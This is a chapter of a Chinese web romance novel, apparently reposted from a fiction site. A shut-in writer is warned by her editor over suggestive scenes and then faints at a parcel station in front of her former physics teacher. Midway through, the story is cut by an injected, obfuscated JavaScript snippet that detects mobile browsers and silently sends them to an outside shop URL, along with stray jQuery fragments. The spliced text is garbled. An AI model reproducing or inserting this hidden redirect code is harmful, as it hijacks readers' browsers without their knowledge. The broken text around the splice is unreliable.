《我的二次方》/只柚之
晋江文学城独家发表
2026/6/20
又是一个周六。
室内挑高分成上下两层的loft，卧室窗帘紧闭，只开了一盏暖白色的台灯。
林见鹿盘坐在床上，正专注盯着电脑屏幕。
因常年不爱出门，她的皮肤过分白皙，此刻泛着不可忽视的潮红。
她双手飞速在键盘上敲击，文档最下方的文字也随之逐渐递增——
贺许言双手被领带束缚，反剪到身后，眼睛也被蒙住。
鼻息凌乱不堪，他连声线都在抖，含着愠怒呵斥：“你疯了，我是你的老师！”
然而不但没有任何震慑性，反倒让对方更加兴奋，还明知故问道。
“为什么不能？老师周末还特地叫我来改论文，这么敬业，那学生自然要……
—
“嗡嗡——”
突如其来的消息提示音响起。
周围太过安静，显得这一声太过突兀。
林见鹿被吓得一激灵，正搓得飞起的双手倏然顿住。
紧接着又是两声震动声，像是闷在布料里。
反应过来后，林见鹿立即腾出一只手去拿手机。
奈何床上堆满了各种玩偶和零食，她弓着腰摸索了好半天，才从一只水獭屁股底下把手机刨出来。
划开锁屏，是编辑发来的消息。
慢慢：【漉漉，不是我说你，最近写的这几章是怎么回事？】
慢慢：【都说脖子以下的亲密戏不能写不能写，你还顶风作案！】
慢慢：【审核都敲到我这边来了！】
看清聊天框里的内容，林见鹿脸上的热度还没来得及褪下去，心虚就先一步涌了上来。
这已经是这个月她第三次被警告了。
编辑周末一般不上班，能让慢慢在周六还亲自发消息来兴师问罪，说明审核那边已经替她抗下一道了。
可她明明都写得这么克制了，一个违禁词都没有，就只是领带绑手、蒙眼睛、稍微说了点调情的台词。
大家都是成年人了，看点成年人的东西怎么了？
但这些话林见鹿也只敢自己小声腹诽，回编辑的话依旧是怂怂的：【我已经删了好多了，剩下的都是剧情需要，真的没内容可删了QAQ】
慢慢秒回：【菜刀.JPG】
慢慢：【你这一章就六千字，四千字都是标红的，到底是什么剧情需要？】
林见鹿是个耽美网文作家，目前正在小说平台连载的《亲身指导》已经在推荐榜上挂了很多天了。
数据太好，自然惹人眼红。被举报的次数多了，她都成了审核那边的常客。
不过林见鹿认错一向很快：【我会改的，慢姐T^T】
然而，她在慢慢这的信用值早已清零，对方毫不客气地回怼：【你上次也这么说，上上次、上上上次也这么说的。】
慢慢：【每次恨不得把所有步骤都写出来，要不是看你身份证上性别写的是女，我都要怀疑你是真做过。】
慢慢：【总不能是你身边有那种爱分享的人，把这种过程都详尽地跟你说了吧？】
“……”
林见鹿余光瞥了眼刚编辑的最新章节，脸颊又开始发烫，不知道的还以为刚才亲身体验的人是她。
因为社恐，她不擅社交，自然也没有可以参照人物供她观察，但“贺许言”这个角色的确有原型。
事实上不仅是贺许言，她书里每个温柔清正的人物，或多或少都有那个人影子。
林见鹿手指摩挲着手机边侧，隔了几秒，才含糊其辞地回复：【没有，我就是写嗨了嘛。】
慢慢警告：【你再这样放飞自我，整本书都要被锁文整改了。】
林见鹿发了一连串下跪的表情包：【慢姐我错了，我这次一定改！改完一定先发给你过审！】
慢慢：【你最好是/菜刀】
勉强安抚好编辑，林见鹿松了口气。
剧情马上大结局，她想给大黄丫头们发点福利，好不容易靠意识流蒙混过审了，今天却又被警告了。
林见鹿人命地跪坐着挪到桌前，点开一个名为“参考文献”的文件夹，里面全是平台没过审的情节，她肉疼地把刚才写的内容也备份了进去。
做完这些，她瞥了眼右上角的时间，是下午四点半。
一天之内，林见鹿最喜欢这个时间段。
因为住在正西方位，只有这个点有太阳晒进来。
她拉开窗帘，暖色的光涌了进来，把许久没出门的霉味都驱散开了。
蓦地，手机又嗡嗡地响起。
这次却是一通陌生来电。
一般这种情况，林见鹿都会等对方自动挂断，她坚信如果有重要的事，对面肯定会再打过来的。
约莫过了二十多秒，手机屏幕暗下去，片刻后又亮起来，弹出了一条短信。
——您尾号6520的包裹已由驿站代为签收，但外包装破损严重，需您本人到驿站现场确认验货，有问题请联系这个号码。
这段文字在林见鹿的脑海过滤了一遍。
包装坏了？
等等……
他们是说包装坏了吗！
一瞬间，林见鹿整个人像是被雷劈了。
她最近只买了一个DIY小玩具，硅胶质地，外观是CCD相机的模样，看起来很有迷惑性。
但也不知道到外包装破损得有多严重，如果里面的说明书掉出来……
光是想想那个场景，就有一股热血直冲天灵盖。
林见鹿也顾不得形象，手忙脚乱地抓起外套往身上穿，趿拉着拖鞋往楼下冲。
—
一月的宁泊气温很低，快递驿站距离小区单元楼只有几百米，迎面吹来的冷风把林见鹿的两颊和鼻尖都冻得通红。
由于长期缺乏锻炼，一口气跑这么远，喉咙漫上了一股铁锈味。
但林见鹿一心只想快点拿到东西，推门进去后径直到了柜台前。
她喘着气，话语尾音发虚：“你好，我取个快递。”
话落，货架前的男人停下了手中的动作，侧身看过来。
林见鹿眼眶里似是起了雾，视野蒙上了一层灰色，也有些晃动，看不太真切。
但仍能清晰看到男人的身量很高，上身穿了一件白色的毛衣，衬得整个人清隽又温和。
只是站在那里，仿佛和这周围的杂乱不处于同一空间。
“好。你的尾号是多少？”
咚咚的心跳声充斥着耳膜，眩晕的感觉在缓慢往大脑顶。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700017|208121||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
这种感觉很熟悉，是低血糖的征兆。
林见鹿后知后觉地记起来，她从醒来就在写小说，到现在还没吃过东西。再加上刚才突然的剧烈运动，双腿一阵阵地发软，后背直冒冷汗。
“你怎么了？不舒服吗？”
听觉里嗡嗡作响，恍惚听见有人在问自己。
“我低血……糖……”
林见鹿不想麻烦别人，本能地用手撑在柜面上，想缓一缓。
只是肌肉根本使不上力气，身体不受控地往前倾去。
完了。
这样脸肯定会很痛。
但预想中碰撞的疼痛没有到来，有人稳稳地托住了她的手臂，另一只手揽住了她的肩膀。
毛绒的触感贴上她脸颊，有一股很淡的铃兰气息瞬间盈满呼吸。
对方并没有更进一步的贴近，维持着必要的社交距离，男人扶着她坐到一旁的椅子上。
林见鹿软绵绵地耷拉着脑袋，黑长的头发垂落下来覆住侧脸。
耳边的声音忽远忽近，只感觉有人把一块奶糖塞进了她嘴里。
“含一会儿会好些。”
糖块在舌尖慢慢化开，甜味顺着喉咙淌下去。
好半晌，那层模糊的灰色缓慢沉淀，林见鹿的视线终于聚焦。
透过没被头发遮挡的那半边抬眼，面前那张脸终于清晰起来。
皮肤是健康的白透，一双瑞凤眼下是琥珀色的瞳孔，眼尾微微上挑，卧蚕饱满，看人时天然含着三分温柔。
过于优越的骨相，神似她笔下小说男主走进了现实。
大脑重新开始运作，林见鹿盯着这张脸看了三秒，然后整个人仿佛猝然被按下了暂停键。
这个人就是贺许言的原型。
更准确地说，是她每本小说受的原型。
她高二的实习物理老师，何渐知。
林见鹿想过如果有天重逢，她一定要好好感谢对方，再展现一下自己这些年的成长和从容。
但现实是——
她素面朝天，头发乱糟糟的，长款羽绒服里面穿的是卡通睡衣，脚上那双棉拖鞋也溅上了几点泥水。
怎么看都像是一个女屌丝。
而何渐知一如从前。
他单膝蹲在她面前，视线和她齐平，关切询问：“你好些了吗？”
林见鹿闪躲着把脸又往旁边偏了点，埋进头发的阴影里，生怕被对方认出来。
“好、好多了，谢谢你。”她嗫喏着嘴唇。
“那就好。”何渐知弯了弯嘴角，“我记得你是来拿快递的，手机尾号是多少？”
巨大的尴尬裹挟着林见鹿的神经，她完全不敢看他，“6520。”
“好，稍等。”何渐知站起身，走到货架前帮她找快递。
很快，他拿着一个破损的盒子回来，边解释：“因为快递送来的时候破损了，我打开给你确认一下情况，再帮你处理理赔或者退回。”
要当面打开？
当着何渐知的面吗？
心脏顷刻间提到了嗓子眼，林见鹿几乎是弹起来去抢纸盒，“不用不用，我不用确认！”
但力气还没完全恢复，脚下一软，她条件反射般用手掌支撑了一下。
呈现五体投地的姿势，她跪倒在了何渐知脚边。